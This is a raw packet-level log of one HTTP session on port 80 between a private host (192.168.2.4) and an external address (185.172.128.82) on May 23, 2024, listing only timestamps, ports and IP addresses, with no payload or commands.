May 23, 2024 23:33:09.985255003 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.985255957 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.985255957 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.985533953 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.985666990 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.988142967 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.988182068 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.988337040 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.988337040 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.990693092 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.990730047 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.990762949 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.990796089 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.990845919 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.990845919 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.990847111 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.990847111 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.990847111 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.990884066 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.990896940 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.990930080 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.990962982 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.990994930 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.991027117 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.991036892 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.991036892 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.991036892 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.991036892 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.991060019 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.991071939 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.991094112 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.991103888 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.991127014 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.991136074 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.991159916 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.991177082 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.991194010 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.991206884 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.991225958 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.991229057 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.991259098 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.991271019 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.991292953 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.991301060 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.991326094 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.991342068 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.991358042 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.991368055 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.991391897 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.991400003 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.991425037 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.991432905 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.991458893 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.991472960 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.991492033 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.991502047 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.991524935 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.991534948 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.991558075 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.991564989 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.991590977 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.991599083 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.991636992 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.992388010 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.992420912 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.992438078 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.992454052 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.992460966 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.992487907 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.992495060 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.992521048 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.992527962 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.992553949 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.992563009 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.992587090 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.992603064 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.992619038 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.992630005 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.992651939 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.992660046 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.992686033 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.992693901 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.992718935 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.992727041 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.992767096 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.992770910 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.992804050 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.992819071 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.992835999 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.992851019 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.992868900 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.992877007 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.992902040 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.992909908 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.992938995 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.992943048 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.992970943 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.992985964 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.993004084 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.993016958 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.993036985 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.993046999 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.993069887 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.993077993 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.993103027 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.993112087 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.993135929 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.993143082 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.993169069 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.993184090 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.993201971 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.993206978 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.993236065 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.993243933 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.993268967 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.993282080 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.993302107 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.993309975 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.993344069 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.993558884 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.993591070 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.993607998 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.993623018 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.993633032 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.993657112 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.993664980 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.993690014 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.993697882 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.993724108 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.993741989 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.993756056 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.993765116 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.993788958 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.993797064 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.993822098 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.993829012 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.993855000 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.993863106 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.993887901 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.993900061 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.993921041 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.993927956 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.993952990 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.993962049 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.993985891 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.993999004 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.994028091 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.994380951 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.994414091 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.994441986 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.994446993 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.994452953 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.994497061 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.994501114 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.994534969 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.994548082 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.994568110 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.994581938 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.994601965 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.994612932 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.994636059 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.994642973 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.994668961 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.994685888 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.994703054 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.994709015 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.994735956 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.994744062 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.994770050 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.994776964 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.994802952 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.994811058 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.994848013 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.995060921 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.995095968 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.995114088 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.995141029 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.995209932 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.995244026 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.995260000 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.995277882 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.995284081 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.995311022 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.995321035 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.995343924 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.995352030 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.995378017 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.995394945 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.995409966 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.995420933 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.995444059 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.995450974 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.995476961 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.995485067 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.995511055 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.995524883 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.995543003 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.995559931 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.995575905 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.995583057 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.995609045 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.995616913 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.995642900 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.995651007 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.995676041 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.995692015 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.995723009 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.996037006 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.996071100 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.996089935 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.996104002 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.996109962 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.996138096 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.996148109 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.996182919 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.075458050 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.075499058 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.075515032 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.075536013 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.075536013 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.075578928 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.075617075 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.075634003 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.075711012 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.075772047 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.075773001 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.075773001 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.075803041 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.075846910 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.080552101 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.080610037 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.082212925 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.082247972 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.082268000 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.082285881 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.082588911 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.082633018 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.082640886 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.082674980 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.082686901 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.082710028 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.082717896 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.082742929 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.082751036 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.082784891 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.082815886 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.082849979 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.082866907 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.082884073 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.082895994 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.082916975 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.082930088 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.082952976 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.082959890 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.082995892 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.083062887 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.083096027 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.083122969 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.083127022 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.083134890 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.083161116 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.083164930 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.083194017 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.083208084 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.083229065 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.083241940 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.083261967 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.083278894 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.083295107 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.083303928 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.083328009 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.083338976 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.083369017 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.083398104 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.083431005 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.083440065 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.083465099 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.083475113 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.083506107 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.083759069 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.083792925 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.083806038 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.083827019 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.083833933 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.083868027 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.083893061 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.083925962 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.083939075 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.083959103 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.083966970 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.083992004 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.084000111 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.084033012 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.084245920 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.084280014 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.084302902 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.084311962 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.084319115 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.084350109 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.084352970 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.084383011 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.084391117 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.084415913 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.084424019 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.084458113 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.084711075 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.084743977 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.084759951 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.084774971 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.084785938 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.084810019 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.084815979 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.084842920 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.084853888 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.084877014 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.084884882 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.084909916 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.084918022 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.084954023 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.084979057 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.085011959 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.085027933 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.085045099 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.085055113 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.085086107 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.085347891 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.085381031 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.085396051 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.085413933 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.085424900 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.085448980 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.085455894 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.085481882 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.085491896 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.085522890 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.085549116 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.085582972 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.085597992 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.085614920 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.085623026 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.085648060 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.085656881 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.085680962 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.085689068 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.085712910 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.085720062 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.085748911 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.085762978 CEST	49733	80	192.168.2.4	185.172.128.82
